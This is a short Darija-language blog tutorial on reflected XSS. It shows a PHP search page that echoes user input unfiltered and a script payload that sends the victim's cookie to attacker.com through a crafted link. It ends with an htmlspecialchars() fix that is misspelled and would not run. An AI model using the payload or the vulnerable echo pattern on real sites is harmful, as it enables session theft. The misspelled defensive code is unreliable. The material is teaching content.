الاثنين، 31 مايو 2021

xss attack

 xss attack

هاد الثغرة كتمكنك انك تقدر تسرق sessions ديال المستخدمين لي في الموقع

نشوفو هاد شي بشكل تطبيقي باش نفهمو كتر مثلا

<html>

<body>

<form action="http://site.com/search.php" method="get">

<input type="text" name="q">

<input type="submit" value="search">

</form>

<?php

$q=$_GET['q'];

echo $q;

?>

</body></html>

هاد script الوضيفة ديالو انك كتكتب شي حاجة وكيطبعها في الصفحة بلا حتا شي فيلتر يعني تقدر تحقن شي اكواد javascript خبيثة في هاديك الصفحة

ندوزو للاستغلال وغادي تفهم لبلان كيفاش دير

attacker فاش غادي يبغي يستاغل هاد الثغرة غادي يشد الرابط ديال الصفحة لي هو

http://site.com/search.php

والاسم ديال input لي هو في حالتنا q

وغادي يزيد عليه الكود ديال javascript لي غادي يسرق بيه session

<script>location.href=http://attacker.com/session.php?s=document.cookie;</script>

هدا سكريبت javascript بسيط كتقدر تاخد cookie ديال المستخدم وكتحولو لموقع attacker

المهم غادي تجمع هاد شي كامل وغادي تصيفطو للضحية على شكل رابط

http://site.com/search.php?q<script>location.href=http://attacker.com/session.php?s=document.cookie;</script>

مني غادي يدخل الضحية هاد الرابط غادي يتم تحويل الكوكيز ديال الضحية لموقع attacker

دبا كيفاش غادي نحمي الموقع ديالي من بحال هاد الثغرات

الجواب هو انك غادي تزيد واحد الدالة في الكود ديالك في جميع المدخلات لي عندك في الموقع ولي هي htmlspecialchars()

<html>

<body>

<form action="http://site.com/search.php" method="get">

<input type="text" name="q">

<input type="submit" value="search">

</form>

<?php

$q=$_GET['q'];

echo htmlspiciealchars($q);

?>

</body></html>

0 commentaires:

إرسال تعليق